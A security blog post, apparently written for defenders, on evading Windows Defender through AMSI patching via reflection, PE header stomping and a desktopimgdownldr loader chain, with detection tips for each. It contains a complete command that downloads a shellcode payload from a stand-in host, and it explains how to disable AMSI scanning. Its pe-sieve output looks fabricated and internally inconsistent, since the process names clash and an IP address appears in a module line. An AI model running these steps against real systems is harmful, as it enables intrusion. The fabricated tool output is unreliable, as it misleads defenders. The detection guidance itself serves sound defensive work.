In late 2025, the Lazarus Group was observed delivering payloads that sailed past fully-patched Windows Defender instances by combining AMSI patching with stomped PE headers — a technique that had been publicly documented for years but remained effective. If a nation-state crew is still relying on methods your team can replicate in a lab, your detection stack deserves a hard look. Here is what is working right now, and how defenders can catch it.
AMSI Bypass via Memory Patching
AMSI (Antimalware Scan Interface) is the hook Microsoft uses to feed PowerShell, VBScript, and other scripting engines directly into Defender for inspection. Attackers who patch AMSI in-memory blind Defender before a single malicious line executes.
The classic approach loads amsi.dll into the current process and overwrites the first bytes of AmsiScanBuffer with a stub that always returns AMSI_RESULT_CLEAN. Modern variants do this through reflection so the patching code itself never touches disk.
A red teamer on host DEV-WS04 (192.0.2.44), running as jharris, might confirm AMSI is active before attempting anything:
PS C:\Users\jharris> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') | ForEach-Object { $_.GetField('amsiInitFailed','NonPublic,Static') }
Name : amsiInitFailed
DeclaringType : System.Management.Automation.AmsiUtils
ReflectedType : System.Management.Automation.AmsiUtils
MemberType : Field
MetadataToken : 67111234
Module : System.Management.Automation.dll
IsPublic : False
IsStatic : True
FieldType : System.Boolean
IsLiteral : False
IsInitOnly : False
IsSpecialName : False
The field amsiInitFailed is currently False — AMSI is alive and scanning. Flipping this field to True via reflection tells PowerShell that AMSI failed to initialize, causing it to skip all further scans. The operation requires no elevation and survives in-session. Defenders should watch for Event ID 4104 (script block logging) capturing reflection calls against AmsiUtils — Microsoft added obfuscation-aware logging in Windows 11 24H2, but it only fires if script block logging is enabled via GPO.
PE Stomping to Evade Static Signatures
Defender’s static engine inspects PE headers and byte sequences before execution. PE stomping — deliberately corrupting non-essential header fields after a binary loads — breaks those signatures without affecting runtime behavior. Attackers use it to smuggle Cobalt Strike reflective loaders and custom C2 agents past on-write scans.
On the same target box, an attacker who already has code execution can use a lightweight stomper. The output below shows a before-and-after check using pe-sieve (a legitimate forensic tool) run by a defender on SRV-MON01 (192.0.2.10):
C:\Tools\pe-sieve>pe-sieve64.exe /pid 4812 /out C:\Evidence
PID: 4812
---
[*] Scanning: C:\Windows\System32\rundll32.exe
[*] Scanning modules in process: notepad.exe
[!] Patched: 192.0.2.44 -> module: implant.dll
Section: .text [MODIFIED]
PE Header: DOS_STUB [ERASED]
Dump saved: C:\Evidence\4812_implant.dll.dump
---
Total scanned: 14
Suspicious: 1
Patched: 1
The output tells you PID 4812 (a hollowed notepad.exe on 192.0.2.44) is hosting a module with an erased DOS stub and a modified .text section — the hallmarks of a stomped loader. The dump saved to C:\Evidence\ is now ready for static reverse engineering. Defenders should run pe-sieve continuously via a scheduled task or integrate it with a SIEM alert on the Suspicious: 1 output line. Combine that with Sysmon Event ID 8 (remote thread creation) to correlate injection events in real time.
Living-Off-the-Land Loader Chains
When custom binaries are too risky, attackers chain signed Windows binaries — LOLBins — to download and execute payloads entirely in memory. mshta.exe, wmic.exe, and certutil.exe remain popular in 2026 despite years of detections because defenders still do not block them universally.
A current pattern seen in red team engagements uses desktopimgdownldr.exe — a signed binary added in Windows 10 1903 — to pull a remote file:
C:\Users\jharris> set "SYSTEMROOT=C:\Windows\Temp" && desktopimgdownldr.exe /lockscreenurl:http://192.0.2.77/stage2.png /eventName:desktopimgdownldr
[+] Downloaded: C:\Windows\Temp\LockScreenImage\stage2.png
The file is named .png but contains a shellcode blob. Defender’s network inspection trusts the signed binary’s context. What defenders should look for: desktopimgdownldr.exe spawning with a non-standard SYSTEMROOT environment variable, and any outbound HTTP from that binary to non-Microsoft IP ranges. A single YARA rule matching the /lockscreenurl: argument pattern in process command-line telemetry catches this reliably.
What To Do Now
Pick one of these three vectors and test your own environment today. Enable PowerShell script block logging (GPO path: Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging), then run the AMSI field reflection command above in a test session. Check Event Viewer > Applications and Services > Microsoft > Windows > PowerShell > Operational for Event ID 4104. If the reflection call is not logged and flagged, your visibility gap is real — and that is the first thing to fix before worrying about anything else.
